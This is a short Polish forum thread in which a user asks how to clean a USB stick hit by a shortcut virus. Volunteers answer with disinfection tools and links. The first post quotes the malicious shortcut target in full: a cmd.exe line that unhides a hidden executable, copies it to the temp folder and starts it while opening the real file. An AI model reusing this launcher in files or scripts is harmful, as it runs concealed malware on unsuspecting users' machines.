Elektroda.pl
Elektroda.pl
X
Proszę, dodaj wyjątek www.elektroda.pl do Adblock.
Dzięki temu, że oglądasz reklamy, wspierasz portal i użytkowników.

Virus tworzy skróty do wszystkich plików

Van GORRE 19 Paź 2016 01:18 426 2
  • #1 19 Paź 2016 01:18
    Van GORRE
    Poziom 13  

    Witam
    Pendrive z plikami podpięty do kogoś na chwilkę. No i stało się, praktycznie do wszystkich folderów i plików utworzony jest skrót z modyfikacją. Po kliknięciu na dany skrót otwiera nowe okno z plikami i można korzystać z zawartości. Natomiast pliki o końcówkach "exe" są nietknięte.
    Na laptopie mam zainstalowany program Bitdefender Internet i nie znalazł żadnego problemu.
    Przykład:
    Plik o nazwie 11.png
    posiada zapisane w elemencie docelowym coś takiego %ALLUSERSPROFILE%\..\..\windows\system32\cmd.exe /c "start %cd%11.png & attrib -s -h %cd%WpAAFuO.exe & xcopy /F /S /Q /H /R /Y %cd%WpAAFuO.exe %temp%\SjCEe\ & attrib +s +h %cd%WpAAFuO.exe & start %temp%\SjCEe\WpAAFuO.exe & exit"
    Nie bardzo wiem jak to usunąć.

    0 2
  • #2 19 Paź 2016 02:47
    krzychupar
    Poziom 40  

    Jak nie wiesz jak to usunąć to w pierwszej kolejności przeczytaj ostatni punkt podświetlony na niebiesko w tym dziale.

    0
  • #3 19 Paź 2016 07:54
    Kolobos
    Spec od komputerów

    Uzyj USBFix (opcja Clean): https://www.sosvirus.net/telecharger/usbfix/ Otworz pod IE, kliknij Telecharger i na nastepnej stronie poczekaj 30s i otworzy sie pobieranie.
    Zamiesc log, ktory sie utworzy po uzyciu.

    Uzyj AdwCleaner, opcja Scan i Clean/Szukaj i Usun: http://www.bleepingcomputer.com/download/adwcleaner/

    Zamiesc w zalaczniku logi z FRST (Frst.txt oraz Addition.txt):
    http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/

    Zrob pelny skan przy pomocy Mbam i usun to co wykryje:
    http://www.bleepingcomputer.com/download/malwarebytes-anti-malware/

    0